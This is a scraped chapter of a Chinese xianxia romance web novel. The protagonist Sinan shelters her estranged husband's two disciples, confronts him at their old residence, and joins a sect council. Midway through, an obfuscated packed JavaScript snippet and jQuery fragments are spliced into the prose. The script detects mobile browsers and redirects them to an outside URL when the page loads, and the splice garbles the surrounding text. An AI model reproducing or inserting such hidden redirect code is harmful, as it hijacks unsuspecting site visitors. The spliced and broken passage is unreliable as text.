3. 第 3 章

作品:《愿为君司南

    行止山上会这样称呼司南的只有那两个人。


    司南转过身,果见两个不知何时跨进门来的男子。他们并未像行止山弟子那样穿着规制的袍服,而是各一身款式简单的白衣。两人面貌如出一辙,分明是双生子,只左边那位矮些瘦些,右边那位高些神色凌厉些。


    她转了身,叫两人真切看清了她的脸,两人更显动容,


    “稍等片刻。”司南说,“我与堂主还有些事要说。”


    两人点头如捣蒜。


    事律堂主随司南走远几步,两人只见司南垂着眸,似与堂主交代了些什么,堂主一副恍然大悟的模样,随即拜别司南,转身进了刑律堂,


    堂主一走,司南就回首示意两人跟上。她将人领进一处小花园,进了光线最为明媚的那间屋子。


    这里便是司刑门。司南闭关之前,司刑门一直由她亲自掌管,这里事项不多,若非要事,决计上不了司刑门的案桌。司南闭关之后,司刑门偶尔会由风观盏代行职责,但大多时候,司刑门中并无他人。


    司南坐下来,这才认真地望向紧随其后跟进来的两人。


    在行止山上能称呼司南为“师娘”的,只有两个人,那就是谢君泽曾经的两个徒弟,涂子传和涂子列。


    当初谢君泽入魔道,却没有带走他的两个徒弟。长无令将两兄弟从苍琅宗带到行止山脚下养着,是司南亲往,把人放进戒律峰。


    “修为增长很快,想必这些年没有偷懒。”司南说,“行止山与苍琅宗虽同为大宗,但也并非彼此融通。你们从前学苍琅宗,往后是要继续习练苍琅宗的心法,还是入行止山外门考核挑选新的心法,都随你们。”


    涂子传乖巧称是,涂子列却慢一步回应。


    司南瞧他一眼,又说:“不必急在一时决定。”


    涂子列这才喏喏应了声是。


    “只是从前我不在,没人教你们,到底还是落后了别人些。”司南示意两人落座,“子传,同我说说,这些年你们是如何修炼的?”


    涂子传弯腰揖了一礼,便准备去一旁坐下。


    谁知涂子列“啪嗒”一下跪下来,张口便是浓重的哭腔:“师娘,我不愿留在行止山,行止山众人都不待见我们!”


    司南身形一顿。


    涂子传慌了神,转头就想拉涂子列起身,涂子列却仿佛粘在了地板上,怎么也拉不动。


    司南示意别动:“受了什么委屈?”


    涂子传心一狠,也跟着噗通跪下。


    涂子列说:“自我二人上山后,便常有行止山弟子因我二人的身份,对我们多有非议。我们去演武场习练,他们便作鸟兽散;我们去传学峰听学,他们便将我们身边的座位尽数空出,宁愿站着,也不愿与我们同坐。他们不会在我们面前讲,但我偶然听到几次,他们都是、都是觉得……”


    他咬紧了嘴唇,对接下来的话羞于启齿。


    再观涂子传,他同样是不堪其辱的神情。


    司南替他们补完了剩下的话:“觉得谢君泽入了魔道,为世所不容,你们作为他的徒弟,自然也如他一般,迟早会走上歪路。是吗?”


    她就这样说出了那些话。


    涂子列牙关紧咬,艰难地回答说:“……是。”


    两兄弟并排跪在一起,如同两只大雨滂沱中淋湿的雏鸟。


    司南扶涂子列起来,涂子传自己跟着站起身。司南便说:“从前我闭关,没人为你们澄清,是故山上非议多些。日后不会了。子列,你觉得委屈么?”


    涂子列噙着泪点头。


    “我无法为你撑腰。”她说,“这件事上,我帮不到你。若想要向他们证明些什么,唯有你自己办到这件事,今日所承受的痛苦才有可能消弥。”


    涂子列更想哭了。


    司南又接着说:“但在那之前,我会护着你们的。如今戒律峰尚未定下下一任司律长老,我亦不曾有亲传弟子,你们便是我徒弟,在戒律峰上,不必畏惧人言。”


    她想了想,又补了一句:“出了戒律峰也不必,叫人欺负了,就去寻我师兄。”


    涂子传不厚道地笑出了声。


    涂子列也破涕而笑,擦干眼泪,应声说好。


    司南见他情绪好转,便叫涂子传循着先前的话题往下说。等到为他们定下修炼计划,已是月上中天。


    “师娘留在戒律峰么?您的院子每日都会施清净术的。”涂子传落后司南几步跟着,询问道。


    司南摇摇头,一步踏出门外,白裙淌进脚下的月光中。


    “不。”她说,“我要去风华苑。”


    风华苑不在六峰之内,甚至不属于任何一个宗派,它是当年司南与谢君泽结成道侣时,谢君泽置办的婚房。


    风华苑处在行止山与苍琅宗之间,传言它由谢君泽亲手建造,汇聚谢君泽毕生所集稀世珍宝,五步一楼,十步一阁,雕栏玉砌,飞阁流丹。悬于山之巅,近可抚星辰。落成至今,再无第三人能登上这月下琼楼。


    世人无不曾艳羡。


    司南过了结界,水纹般的灵符掩去她绰约的身形。


    距离司南上一次来风华苑,已有三百余年。


    三百年前,御州魔族大举进攻七州,行止山联合苍琅宗、宁息院与四州盟共抗魔族,战事持续了整整十年。那十年间局势动荡不安,司南领行止山镜州防线督战一职,谢君泽则在苍州领兵。两人身兼要职,脱不开身,连相见亦是奢侈。


    但风华苑与从前别无二致。


    司南行过院中廊亭,昔日栽种在池中的雾花长势喜人,满满当当开了一池子。踏进回廊的那一刻,足下雾气缠上脚踝,随着司南一步一移,浮动聚散。悬挂的珠帘丝绦在山间清风中碰撞纠缠,似是迎接此间主人的回归。


    司南抬臂,三重法纹的灵光微微闪动。指尖尚未触及那于风中凌乱的珠串,便有条丝绦迫不及待地藏进她的发间,勾缠上司南斜插的步摇。


    山巅清风自在来,冷月无声照夜歌。


    今夜的第二位来者悄然登场。


    司南伸手欲解,但那丝绦不知怎的,短短几息间,便将她的发与簪缠死,竟一时间解不下来。


    温热的掌心覆上来,虚握住司南的手掌。其实不曾用力,可司南却不再动。直至那丝绦被另一人举至她眼前,她方才伸手接过,开了今夜第一次口。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15419778|168981||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    “你常回来?”她问。


    “不常回来。”谢君泽说。


    司南没有转身。廊下的珠串碰撞着叮咚作响,雾花升腾的浓浓雾气似乎也感受到这庭院主人的心情,瑟缩不敢上前。


    谢君泽摘下被勾缠得歪斜了的那支珠钗,重新替司南寻了个位置簪好,说:“自你闭关,我拢共回了风华苑三回。今日是第四次。”


    “你知道我会回来。”司南说。


    “我猜你会回来。”谢君泽说。他其实在背后摇了头,但司南瞧不见。谢君泽滞了一瞬,便接着若无其事地讲:“你的伤好了么?”


    “好了。”司南答。


    “你也突破了?”谢君泽又问。


    “嗯。”司南接着答。


    “还算顺利吗?”


    “并不艰难。”


    谢君泽几乎要问不下去。


    “……你没什么想问我么?”


    “有。”司南说。


    谢君泽微微瞪大了眼。


    司南回过身。


    这是今夜谢君泽第一次看清司南的脸。她总是没什么情绪的模样,叫人轻易分辨不出喜怒,便是风观盏与川不流,也不敢凭此断言她的心境。


    但谢君泽却在朝夕相处中越发能猜中司南的心思。


    可在看清她神色的一瞬,谢君泽的心倏忽一沉。


    “谢君泽。”她喊,“你要与我分籍么?”


    一夜过后,秋风渐起。


    司南回了行止山。


    自三百年前对抗御州的那场大战过后,长无令便坐镇主峰无念,再未踏出过行止山半步。


    理事峰长老风观盏受长无令掌门之命,代行戒律峰事宜,另有传学峰、铸剑峰与坐春峰,各司其职。


    行止山作为镜州唯一的大宗门,山上弟子无数,六峰之下,井然有序。


    司南踏进含清殿时,殿中已坐了三人,分别是长无令、传学峰执教长老宁科,以及坐春峰司药长老后歌。


    司南落座后,后歌掩唇轻笑:“几百年了,我们六峰议事终于不是只有五个人了。”


    宁科手不释卷,闻言只抬头瞧了一眼,同司南点头示意过,便又垂下脑袋。


    司南答道:“还要多谢你为我炼制的丹药,否则我恐难痊愈。”


    后歌瞥了一眼上首的长无令,戏谑道:“不必谢我,都是同门。真要谢的话,还是谢你师兄好了,还不是掌门大人哭天抢地在我丹房外守着我炼出了那枚九转阴阳丹。”


    “哪有哭天抢地?”长无令苦笑道,“你怎地还记得此事?”


    恰在此时,风观盏与铸剑峰的守火长老亭绛一同跨进了门。


    亭绛顺势接话道:“后歌一向惫懒,若非你压着她炼了七十九日的丹,她怎么会记恨你?”


    后歌笑说:“哪里记恨?只是印象深刻罢了。”


    司南见状,替长无令解围道:“此事也是因我而起,后长老莫要怪罪师兄了。我闭关前,听闻你一直想取宁息院无浪崖的不悔露,我与无浪崖的守崖人有些交情,届时为你取来,权作感谢。”


    后歌嘻嘻笑道:“那我可就多谢司长老了!”